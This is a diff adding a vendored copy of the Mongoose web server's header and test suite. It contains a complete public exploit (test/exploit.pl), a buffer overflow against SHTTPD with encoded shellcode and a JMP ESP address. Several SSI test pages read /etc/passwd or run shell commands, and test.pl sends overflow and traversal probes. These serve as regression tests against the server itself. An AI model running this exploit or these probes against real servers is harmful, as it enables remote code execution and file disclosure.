// names, return value is guaranteed to be non-NULL. If parameter is not
+
// set, zero-length string is returned.
+
const char *mg_get_option(const struct mg_context *ctx, const char *name);
+

+

+
// Return array of strings that represent valid configuration options.
+
// For each option, a short name, long name, and default value is returned.
+
// Array is NULL terminated.
+
const char **mg_get_valid_option_names(void);
+

+

+
// Add, edit or delete the entry in the passwords file.
+
//
+
// This function allows an application to manipulate .htpasswd files on the
+
// fly by adding, deleting and changing user records. This is one of the
+
// several ways of implementing authentication on the server side. For another,
+
// cookie-based way please refer to the examples/chat.c in the source tree.
+
//
+
// If password is not NULL, entry is added (or modified if already exists).
+
// If password is NULL, entry is deleted.
+
//
+
// Return:
+
//   1 on success, 0 on error.
+
int mg_modify_passwords_file(const char *passwords_file_name,
+
                             const char *domain,
+
                             const char *user,
+
                             const char *password);
+

+

+
// Return mg_request_info structure associated with the request.
+
// Always succeeds.
+
const struct mg_request_info *mg_get_request_info(const struct mg_connection *);
+

+

+
// Send data to the client.
+
// Return:
+
//  0   when the connection has been closed
+
//  -1  on error
+
//  number of bytes written on success
+
int mg_write(struct mg_connection *, const void *buf, size_t len);
+

+

+
// Send data to the browser using printf() semantics.
+
//
+
// Works exactly like mg_write(), but allows to do message formatting.
+
// Below are the macros for enabling compiler-specific checks for
+
// printf-like arguments.
+

+
#undef PRINTF_FORMAT_STRING
+
#if _MSC_VER >= 1400
+
#include <sal.h>
+
#if _MSC_VER > 1400
+
#define PRINTF_FORMAT_STRING(s) _Printf_format_string_ s
+
#else
+
#define PRINTF_FORMAT_STRING(s) __format_string s
+
#endif
+
#else
+
#define PRINTF_FORMAT_STRING(s) s
+
#endif
+

+
#ifdef __GNUC__
+
#define PRINTF_ARGS(x, y) __attribute__((format(printf, x, y)))
+
#else
+
#define PRINTF_ARGS(x, y)
+
#endif
+

+
int mg_printf(struct mg_connection *,
+
              PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
+

+

+
// Send contents of the entire file together with HTTP headers.
+
void mg_send_file(struct mg_connection *conn, const char *path);
+

+

+
// Read data from the remote end, return number of bytes read.
+
int mg_read(struct mg_connection *, void *buf, size_t len);
+

+

+
// Get the value of particular HTTP header.
+
//
+
// This is a helper function. It traverses request_info->http_headers array,
+
// and if the header is present in the array, returns its value. If it is
+
// not present, NULL is returned.
+
const char *mg_get_header(const struct mg_connection *, const char *name);
+

+

+
// Get a value of particular form variable.
+
//
+
// Parameters:
+
//   data: pointer to form-uri-encoded buffer. This could be either POST data,
+
//         or request_info.query_string.
+
//   data_len: length of the encoded data.
+
//   var_name: variable name to decode from the buffer
+
//   buf: destination buffer for the decoded variable
+
//   buf_len: length of the destination buffer
+
//
+
// Return:
+
//   On success, length of the decoded variable.
+
//   On error:
+
//      -1 (variable not found, or destination buffer is too small).
+
//      -2 (destination buffer is NULL or zero length).
+
//
+
// Destination buffer is guaranteed to be '\0' - terminated if it is not
+
// NULL or zero length. In case of failure, dst[0] == '\0'.
+
int mg_get_var(const char *data, size_t data_len,
+
               const char *var_name, char *buf, size_t buf_len);
+

+
// Fetch value of certain cookie variable into the destination buffer.
+
//
+
// Destination buffer is guaranteed to be '\0' - terminated. In case of
+
// failure, dst[0] == '\0'. Note that RFC allows many occurrences of the same
+
// parameter. This function returns only first occurrence.
+
//
+
// Return:
+
//   On success, value length.
+
//   On error, -1 (either "Cookie:" header is not present at all, or the
+
//   requested parameter is not found, or destination buffer is too small
+
//   to hold the value).
+
int mg_get_cookie(const struct mg_connection *,
+
                  const char *cookie_name, char *buf, size_t buf_len);
+

+

+
// Connect to the remote web server.
+
// Return:
+
//   On success, valid pointer to the new connection
+
//   On error, NULL
+
struct mg_connection *mg_connect(struct mg_context *ctx,
+
                                 const char *host, int port, int use_ssl);
+

+

+
// Close the connection opened by mg_connect().
+
void mg_close_connection(struct mg_connection *conn);
+

+

+
// Download given URL to a given file.
+
//   url: URL to download
+
//   path: file name where to save the data
+
//   request_info: pointer to a structure that will hold parsed reply headers
+
//   buf, bul_len: a buffer for the reply headers
+
// Return:
+
//   On error, NULL
+
//   On success, opened file stream to the downloaded contents. The stream
+
//   is positioned to the end of the file. It is the user's responsibility
+
//   to fclose() the opened file stream.
+
FILE *mg_fetch(struct mg_context *ctx, const char *url, const char *path,
+
               char *buf, size_t buf_len, struct mg_request_info *request_info);
+

+

+
// Convenience function -- create detached thread.
+
// Return: 0 on success, non-0 on error.
+
typedef void * (*mg_thread_func_t)(void *);
+
int mg_start_thread(mg_thread_func_t f, void *p);
+

+

+
// Return builtin mime type for the given file name.
+
// For unrecognized extensions, "text/plain" is returned.
+
const char *mg_get_builtin_mime_type(const char *file_name);
+

+

+
// Return Mongoose version.
+
const char *mg_version(void);
+

+

+
// MD5 hash given strings.
+
// Buffer 'buf' must be 33 bytes long. Varargs is a NULL terminated list of
+
// ASCIIz strings. When function returns, buf will contain human-readable
+
// MD5 hash. Example:
+
//   char buf[33];
+
//   mg_md5(buf, "aa", "bb", NULL);
+
void mg_md5(char buf[33], ...);
+

+

+
#ifdef __cplusplus
+
}
+
#endif // __cplusplus
+

+
#endif // MONGOOSE_HEADER_INCLUDED
added plugins/pkg-plugins-serve/mongoose/test/.leading.dot.txt
@@ -0,0 +1 @@
+
abc123
added plugins/pkg-plugins-serve/mongoose/test/\/a.txt
@@ -0,0 +1 @@
+
blah
added plugins/pkg-plugins-serve/mongoose/test/all_build_flags.pl
@@ -0,0 +1,28 @@
+
#!/usr/bin/env perl
+

+
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
+
my $num_flags = @flags;
+

+
sub fail {
+
	print "FAILED: @_\n";
+
	exit 1;
+
}
+

+
my $platform = $ARGV[0] || "linux";
+

+
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
+
	my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
+
	my @combination = ();
+
	for (my $j = 0; $j < $num_flags; $j++) {
+
		push @combination, $flags[$j] if substr($bitmask, $j, 1);
+
	}
+
	my $defines = join(" ", map { "-D$_" } @combination);
+
	my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
+
	system($cmd) == 0 or fail "build failed: $_";
+
	print "Build succeeded, flags: [$defines]\n";
+
	system("perl test/test.pl basic_tests >/dev/null") == 0
+
		or fail "basic tests";
+
	print "Basic tests: OK\n";
+
}
+

+
print "PASS: All builds passed!\n";
added plugins/pkg-plugins-serve/mongoose/test/bad.cgi
@@ -0,0 +1,5 @@
+
#!/bin/sh
+

+
echo "echoing bad headers: server must report status 500"
+
exec 1>&2
+
echo shit!!!
added plugins/pkg-plugins-serve/mongoose/test/bad2.cgi
@@ -0,0 +1,3 @@
+
#!/usr/bin/env perl
+

+
print "Status: 123 Please pass me to the client\r\n\r\n";
added plugins/pkg-plugins-serve/mongoose/test/embed.c
@@ -0,0 +1,181 @@
+
// Copyright (c) 2004-2009 Sergey Lyubka
+
//
+
// Permission is hereby granted, free of charge, to any person obtaining a copy
+
// of this software and associated documentation files (the "Software"), to deal
+
// in the Software without restriction, including without limitation the rights
+
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+
// copies of the Software, and to permit persons to whom the Software is
+
// furnished to do so, subject to the following conditions:
+
//
+
// The above copyright notice and this permission notice shall be included in
+
// all copies or substantial portions of the Software.
+
//
+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+
// THE SOFTWARE.
+
//
+
// Unit test for the mongoose web server. Tests embedded API.
+

+

+
#include <stdlib.h>
+
#include <stdio.h>
+
#include <string.h>
+
#ifndef _WIN32
+
#include <unistd.h>
+
#endif
+

+
#include "mongoose.h"
+

+
#if !defined(LISTENING_PORT)
+
#define LISTENING_PORT "23456"
+
#endif
+

+
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
+
  "Content-Type: text/plain\r\n"
+
  "Connection: close\r\n\r\n";
+

+
static void test_get_var(struct mg_connection *conn,
+
                         const struct mg_request_info *ri) {
+
  char *var, *buf;
+
  size_t buf_len;
+
  const char *cl;
+
  int var_len;
+

+
  mg_printf(conn, "%s", standard_reply);
+

+
  buf_len = 0;
+
  var = buf = NULL;
+
  cl = mg_get_header(conn, "Content-Length");
+
  mg_printf(conn, "cl: %p\n", cl);
+
  if ((!strcmp(ri->request_method, "POST") ||
+
       !strcmp(ri->request_method, "PUT"))
+
      && cl != NULL) {
+
    buf_len = atoi(cl);
+
    buf = malloc(buf_len);
+
    /* Read in two pieces, to test continuation */
+
    if (buf_len > 2) {
+
      mg_read(conn, buf, 2);
+
      mg_read(conn, buf + 2, buf_len - 2);
+
    } else {
+
      mg_read(conn, buf, buf_len);
+
    }
+
  } else if (ri->query_string != NULL) {
+
    buf_len = strlen(ri->query_string);
+
    buf = malloc(buf_len + 1);
+
    strcpy(buf, ri->query_string);
+
  }
+
  var = malloc(buf_len + 1);
+
  var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
+
  mg_printf(conn, "Value: [%s]\n", var);
+
  mg_printf(conn, "Value size: [%d]\n", var_len);
+
  free(buf);
+
  free(var);
+
}
+

+
static void test_get_header(struct mg_connection *conn,
+
                            const struct mg_request_info *ri) {
+
  const char *value;
+
  int i;
+

+
  mg_printf(conn, "%s", standard_reply);
+
  printf("HTTP headers: %d\n", ri->num_headers);
+
  for (i = 0; i < ri->num_headers; i++) {
+
    printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
+
  }
+

+
  value = mg_get_header(conn, "Host");
+
  if (value != NULL) {
+
    mg_printf(conn, "Value: [%s]", value);
+
  }
+
}
+

+
static void test_get_request_info(struct mg_connection *conn,
+
                                  const struct mg_request_info *ri) {
+
  int i;
+

+
  mg_printf(conn, "%s", standard_reply);
+

+
  mg_printf(conn, "Method: [%s]\n", ri->request_method);
+
  mg_printf(conn, "URI: [%s]\n", ri->uri);
+
  mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
+

+
  for (i = 0; i < ri->num_headers; i++) {
+
    mg_printf(conn, "HTTP header [%s]: [%s]\n",
+
              ri->http_headers[i].name,
+
              ri->http_headers[i].value);
+
  }
+

+
  mg_printf(conn, "Query string: [%s]\n",
+
            ri->query_string ? ri->query_string: "");
+
  mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
+
  mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
+
  mg_printf(conn, "Remote user: [%s]\n",
+
            ri->remote_user ? ri->remote_user : "");
+
}
+

+
static void test_error(struct mg_connection *conn,
+
                       const struct mg_request_info *ri) {
+
  mg_printf(conn, "HTTP/1.1 %d XX\r\n"
+
            "Conntection: close\r\n\r\n", ri->status_code);
+
  mg_printf(conn, "Error: [%d]", ri->status_code);
+
}
+

+
static void test_post(struct mg_connection *conn,
+
                      const struct mg_request_info *ri) {
+
  const char *cl;
+
  char *buf;
+
  int len;
+

+
  mg_printf(conn, "%s", standard_reply);
+
  if (strcmp(ri->request_method, "POST") == 0 &&
+
      (cl = mg_get_header(conn, "Content-Length")) != NULL) {
+
    len = atoi(cl);
+
    if ((buf = malloc(len)) != NULL) {
+
      mg_write(conn, buf, len);
+
      free(buf);
+
    }
+
  }
+
}
+

+
static const struct test_config {
+
  enum mg_event event;
+
  const char *uri;
+
  void (*func)(struct mg_connection *, const struct mg_request_info *);
+
} test_config[] = {
+
  {MG_NEW_REQUEST, "/test_get_header", &test_get_header},
+
  {MG_NEW_REQUEST, "/test_get_var", &test_get_var},
+
  {MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
+
  {MG_NEW_REQUEST, "/test_post", &test_post},
+
  {MG_HTTP_ERROR, "", &test_error},
+
  {0, NULL, NULL}
+
};
+

+
static void *callback(enum mg_event event,
+
                      struct mg_connection *conn) {
+
  const struct mg_request_info *request_info = mg_get_request_info(conn);
+
  int i;
+

+
  for (i = 0; test_config[i].uri != NULL; i++) {
+
    if (event == test_config[i].event &&
+
        (event == MG_HTTP_ERROR ||
+
         !strcmp(request_info->uri, test_config[i].uri))) {
+
      test_config[i].func(conn, request_info);
+
      return "processed";
+
    }
+
  }
+

+
  return NULL;
+
}
+

+
int main(void) {
+
  struct mg_context *ctx;
+
  const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
+

+
  ctx = mg_start(callback, NULL, options);
+
  pause();
+
  return 0;
+
}
added plugins/pkg-plugins-serve/mongoose/test/env.cgi
@@ -0,0 +1,46 @@
+
#!/usr/bin/env perl
+

+
use Cwd;
+
use CGI;
+

+
use vars '%in';
+
CGI::ReadParse();
+

+
print "Content-Type: text/html\r\n\r\n";
+

+
print "<pre>\n";
+
foreach my $key (sort keys %ENV) {
+
	print "$key=$ENV{$key}\n";
+
}
+

+
print "\n";
+

+
foreach my $key (sort keys %in) {
+
	print "$key=$in{$key}\n";
+
}
+

+
print "\n";
+

+
print 'CURRENT_DIR=' . getcwd() . "\n";
+
print "</pre>\n";
+

+
my $stuff = <<EOP ;
+
<script language="javascript">
+
	function set_val() {
+
	}
+
</script>
+
<form method=get>
+
	<input type=hidden name=a>
+
	<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
+
	<input type=submit value=get>
+
</form>
+

+
<form method=post>
+
	<input type=text name=b>
+
	<input type=submit value=post>
+
</form>
+
EOP
+

+
#system('some shit');
+

+
print $stuff;
added plugins/pkg-plugins-serve/mongoose/test/exploit.pl
@@ -0,0 +1,69 @@
+
#!/usr/bin/perl -w
+

+
#  SHTTPD Buffer Overflow (POST)
+
#  Tested on SHTTPD 1.34 WinXP SP1 Hebrew
+
#  http://shttpd.sourceforge.net
+
#  Codded By SkOd, 05/10/2006
+
#  ISRAEL
+
#
+
#    details:
+
#    EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
+
#    EBX 00000004 , EIP 41414141 , EBP 41414141
+
#    ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
+
#    ESP 009EFC08 ASCII 41,"AA...AAA"
+

+

+
use IO::Socket;
+

+
sub fail(){
+
syswrite STDOUT, "[-]Connect failed.\n";
+
exit;
+
}
+

+
sub header()
+
{
+
print("##################################\n");
+
print("SHTTPD (POST) Buffer Overflow.\n");
+
print("[http://shttpd.sourceforge.net]\n");
+
print("Codded By SkOd, 05/10/2006\n");
+
print("##################################\n");
+
}
+

+
if (@ARGV < 1)
+
{
+
    &header();
+
    print("Usage: Perl shttpd.pl [host]\n");
+
    exit;
+
}
+

+
&header();
+
$host=$ARGV[0];
+
$port="80";
+
$host=~ s/(http:\/\/)//eg;
+

+
#win32_exec- CMD=calc Size=160 (metasploit.com)
+
$shell =
+
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
+
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
+
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
+
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
+
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
+
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
+
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
+
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
+
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
+

+

+
$esp="%73%C3%2A%4F";                 #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
+
$buff=("%41"x8).$esp.("%90"x85).$shell;        #Shellcode+NOP=245
+

+
print length($buff) . "\n";
+

+
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
+
    syswrite STDOUT,"[+]Connected.\n";
+
    print $sock "POST /$buff HTTP/1.1\n";
+
    print $sock "HOST:$host\n\n";
+
    syswrite STDOUT,"[+]Done.\n";
+
close($sock);
+

+
# milw0rm.com [2006-10-05]
added plugins/pkg-plugins-serve/mongoose/test/hello.cgi
@@ -0,0 +1,6 @@
+
#!/bin/sh
+

+
echo "Content-Type: text/plain"
+
echo
+

+
echo $QUERY_STRING
added plugins/pkg-plugins-serve/mongoose/test/hello.txt
@@ -0,0 +1 @@
+
simple text file
added plugins/pkg-plugins-serve/mongoose/test/passfile
@@ -0,0 +1,3 @@
+
guest:mydomain.com:485264dcc977a1925370b89d516a1477
+
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
+

added plugins/pkg-plugins-serve/mongoose/test/sh.cgi
@@ -0,0 +1,6 @@
+
#!/bin/sh
+

+
echo "Content-Type: text/plain"
+
echo
+

+
echo "This is shell script CGI."
added plugins/pkg-plugins-serve/mongoose/test/ssi1.shtml
@@ -0,0 +1,5 @@
+
<html><pre>
+
ssi_begin
+
<!--#include file="Makefile" -->
+
ssi_end
+
</pre></html>
added plugins/pkg-plugins-serve/mongoose/test/ssi2.shtml
@@ -0,0 +1,5 @@
+
<html><pre>
+
ssi_begin
+
<!--#include virtual="embed.c" -->
+
ssi_end
+
</pre></html>
added plugins/pkg-plugins-serve/mongoose/test/ssi3.shtml
@@ -0,0 +1,5 @@
+
<html><pre>
+
ssi_begin
+
<!--#exec "ls -l" -->
+
ssi_end
+
</pre></html>
added plugins/pkg-plugins-serve/mongoose/test/ssi4.shtml
@@ -0,0 +1,5 @@
+
<html><pre>
+
ssi_begin
+
<!--#exec "dir /w" -->
+
ssi_end
+
</pre></html>
added plugins/pkg-plugins-serve/mongoose/test/ssi5.shtml
@@ -0,0 +1,5 @@
+
<html><pre>
+
ssi_begin
+
<!--#include file="/etc/passwd" -->
+
ssi_end
+
</pre></html>
added plugins/pkg-plugins-serve/mongoose/test/ssi6.shtml
@@ -0,0 +1,5 @@
+
<html><pre>
+
ssi_begin
+
<!--#include file="c:\boot.ini" -->
+
ssi_end
+
</pre></html>
added plugins/pkg-plugins-serve/mongoose/test/ssi7.shtml
@@ -0,0 +1,6 @@
+

+
<html><pre>
+
ssi_begin
+
<!--#include "embed.c" -->
+
ssi_end
+
</pre></html>
added plugins/pkg-plugins-serve/mongoose/test/ssi8.shtml
@@ -0,0 +1 @@
+
<!--#include "ssi9.shtml" -->
added plugins/pkg-plugins-serve/mongoose/test/ssi9.shtml
@@ -0,0 +1,3 @@
+
ssi_begin
+
<!--#include file="Makefile" -->
+
ssi_end
added plugins/pkg-plugins-serve/mongoose/test/test.pl
@@ -0,0 +1,533 @@
+
#!/usr/bin/env perl
+
# This script is used to test Mongoose web server
+
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
+

+
use IO::Socket;
+
use File::Path;
+
use strict;
+
use warnings;
+
#use diagnostics;
+

+
sub on_windows { $^O =~ /win32/i; }
+

+
my $port = 23456;
+
my $pid = undef;
+
my $num_requests;
+
my $dir_separator = on_windows() ? '\\' : '/';
+
my $copy_cmd = on_windows() ? 'copy' : 'cp';
+
my $test_dir_uri = "test_dir";
+
my $root = 'test';
+
my $test_dir = $root . $dir_separator. $test_dir_uri;
+
my $config = 'mongoose.conf';
+
my $exe = '.' . $dir_separator . 'mongoose';
+
my $embed_exe = '.' . $dir_separator . 'embed';
+
my $unit_test_exe = '.' . $dir_separator . 'unit_test';
+
my $exit_code = 0;
+

+
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
+
  "$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
+
  "$root/myperl", $embed_exe, $unit_test_exe);
+

+
END {
+
  unlink @files_to_delete;
+
  kill_spawned_child();
+
  File::Path::rmtree($test_dir);
+
  exit $exit_code;
+
}
+

+
sub fail {
+
  print "FAILED: @_\n";
+
  $exit_code = 1;
+
  exit 1;
+
}
+

+
sub get_num_of_log_entries {
+
  open FD, "access.log" or return 0;
+
  my @lines = (<FD>);
+
  close FD;
+
  return scalar @lines;
+
}
+

+
# Send the request to the 127.0.0.1:$port and return the reply
+
sub req {
+
  my ($request, $inc, $timeout) = @_;
+
  my $sock = IO::Socket::INET->new(Proto=>"tcp",
+
    PeerAddr=>'127.0.0.1', PeerPort=>$port);
+
  fail("Cannot connect: $!") unless $sock;
+
  $sock->autoflush(1);
+
  foreach my $byte (split //, $request) {
+
    last unless print $sock $byte;
+
    select undef, undef, undef, .001 if length($request) < 256;
+
  }
+
  my ($out, $buf) = ('', '');
+
  eval {
+
    alarm $timeout if $timeout;
+
    $out .= $buf while (sysread($sock, $buf, 1024) > 0);
+
    alarm 0 if $timeout;
+
  };
+
  close $sock;
+

+
  $num_requests += defined($inc) ? $inc : 1;
+
  my $num_logs = get_num_of_log_entries();
+

+
  unless ($num_requests == $num_logs) {
+
    fail("Request has not been logged: [$request], output: [$out]");
+
  }
+

+
  return $out;
+
}
+

+
# Send the request. Compare with the expected reply. Fail if no match
+
sub o {
+
  my ($request, $expected_reply, $message, $num_logs) = @_;
+
  print "==> $message ... ";
+
  my $reply = req($request, $num_logs);
+
  if ($reply =~ /$expected_reply/s) {
+
    print "OK\n";
+
  } else {
+
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
+
    fail("Expected: [$expected_reply], got: [$reply]");
+
  }
+
}
+

+
# Spawn a server listening on specified port
+
sub spawn {
+
  my ($cmdline) = @_;
+
  print 'Executing: ', @_, "\n";
+
  if (on_windows()) {
+
    my @args = split /\s+/, $cmdline;
+
    my $executable = $args[0];
+
    $executable .= '.exe';
+
    Win32::Spawn($executable, $cmdline, $pid);
+
    die "Cannot spawn @_: $!" unless $pid;
+
  } else {
+
    unless ($pid = fork()) {
+
      exec $cmdline;
+
      die "cannot exec [$cmdline]: $!\n";
+
    }
+
  }
+
  sleep 1;
+
}
+

+
sub write_file {
+
  open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
+
  binmode FD;
+
  print FD $_[1];
+
  close FD;
+
}
+

+
sub read_file {
+
  open FD, $_[0] or fail "Cannot open $_[0]: $!";
+
  my @lines = <FD>;
+
  close FD;
+
  return join '', @lines;
+
}
+

+
sub kill_spawned_child {
+
  if (defined($pid)) {
+
    kill(9, $pid);
+
    waitpid($pid, 0);
+
  }
+
}
+

+
####################################################### ENTRY POINT
+

+
unlink @files_to_delete;
+
$SIG{PIPE} = 'IGNORE';
+
$SIG{ALRM} = sub { die "timeout\n" };
+
#local $| =1;
+

+
# Make sure we export only symbols that start with "mg_", and keep local
+
# symbols static.
+
if ($^O =~ /darwin|bsd|linux/) {
+
  my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
+
  foreach (split /\n/, $out) {
+
    /T\s+_?mg_.+/ or fail("Exported symbol $_")
+
  }
+
}
+

+
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'embedded') {
+
  do_embedded_test();
+
  exit 0;
+
}
+

+
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') {
+
  do_unit_test();
+
  exit 0;
+
}
+

+
# Make sure we load config file if no options are given.
+
# Command line options override config files settings
+
write_file($config, "access_log_file access.log\nlistening_ports 12345\n");
+
spawn("$exe -p $port");
+
o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
+
unlink $config;
+
kill_spawned_child();
+

+
# Spawn the server on port $port
+
my $cmd = "$exe ".
+
  "-listening_ports $port ".
+
  "-access_log_file access.log ".
+
  "-error_log_file debug.log ".
+
  "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
+
  "-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
+
  '-put_delete_passwords_file test/passfile ' .
+
  '-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
+
  "-document_root $root ".
+
  "-hide_files_patterns **exploit.pl ".
+
  "-enable_keep_alive yes ".
+
  "-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
+
$cmd .= ' -cgi_interpreter perl' if on_windows();
+
spawn($cmd);
+

+
o("GET /hello.txt HTTP/1.1\n\n   GET /hello.txt HTTP/1.0\n\n",
+
  'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
+
  'Request pipelining', 2);
+

+
my $x = 'x=' . 'A' x (200 * 1024);
+
my $len = length($x);
+
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
+
  '^HTTP/1.1 200 OK', 'Long POST');
+

+
# Try to overflow: Send very long request
+
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
+

+
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
+
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
+
  'HTTP/1.1 200 OK', 'Negative content length');
+
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
+
  'GET regular file Content-Length');
+
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
+
  'HTTP/1.1 200 OK', 'URL-decoding');
+

+
# Break CGI reading after 1 second. We must get full output.
+
# Since CGI script does sleep, we sleep as well and increase request count
+
# manually.
+
my $slow_cgi_reply;
+
print "==> Slow CGI output ... ";
+
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
+
  ($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
+
print "OK\n";
+
sleep 3;
+
$num_requests++;
+

+
# '+' in URI must not be URL-decoded to space
+
write_file("$root/a+.txt", '');
+
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
+

+
o("GET /%5c/a.txt HTTP/1.0\n\n", 'blah', 'GET dir backslash');
+

+
# Test HTTP version parsing
+
o("GET / HTTPX/1.0\r\n\r\n", '400 Bad Request', 'Bad HTTP Version', 0);
+
o("GET / HTTP/x.1\r\n\r\n", '505 HTTP', 'Bad HTTP maj Version');
+
o("GET / HTTP/1.1z\r\n\r\n", '505 HTTP', 'Bad HTTP min Version');
+
o("GET / HTTP/02.0\r\n\r\n", '505 HTTP version not supported',
+
  'HTTP Version >1.1');
+

+
# File with leading single dot
+
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
+
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
+
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
+
  if on_windows();
+
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
+

+
mkdir $test_dir unless -d $test_dir;
+
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
+
  'HTTP/1.1 404', 'PATH_INFO loop problem');
+
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
+
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
+
write_file("$test_dir/index.html", "tralala");
+
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
+
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
+
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
+
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
+
mkdir $test_dir . $dir_separator . 'x';
+
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
+
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
+
chmod(0755, $path);
+
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
+
  'index.cgi execution');
+
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
+
  "SCRIPT_FILENAME=test/test_dir/x/index.cgi", 'SCRIPT_FILENAME');
+
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
+
  'Aliases SCRIPT_NAME');
+
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
+
  'No keep-alive');
+

+
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
+
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
+
write_file($path, "#!../../myperl\n" .
+
           "print \"Content-Type: text/plain\\n\\nhi\";");
+
chmod(0755, $path);
+
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
+
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
+

+
my $mime_types = {
+
  html => 'text/html',
+
  htm => 'text/html',
+
  txt => 'text/plain',
+
  unknown_extension => 'text/plain',
+
  js => 'application/x-javascript',
+
  css => 'text/css',
+
  jpg => 'image/jpeg',
+
  c => 'text/plain',
+
  'tar.gz' => 'blah',
+
  bar => 'foo/bar',
+
  baz => 'foo',
+
};
+

+
foreach my $key (keys %$mime_types) {
+
  my $filename = "_mime_file_test.$key";
+
  write_file("$root/$filename", '');
+
  o("GET /$filename HTTP/1.0\n\n",
+
    "Content-Type: $mime_types->{$key}", ".$key mime type");
+
  unlink "$root/$filename";
+
}
+

+
# Get binary file and check the integrity
+
my $binary_file = 'binary_file';
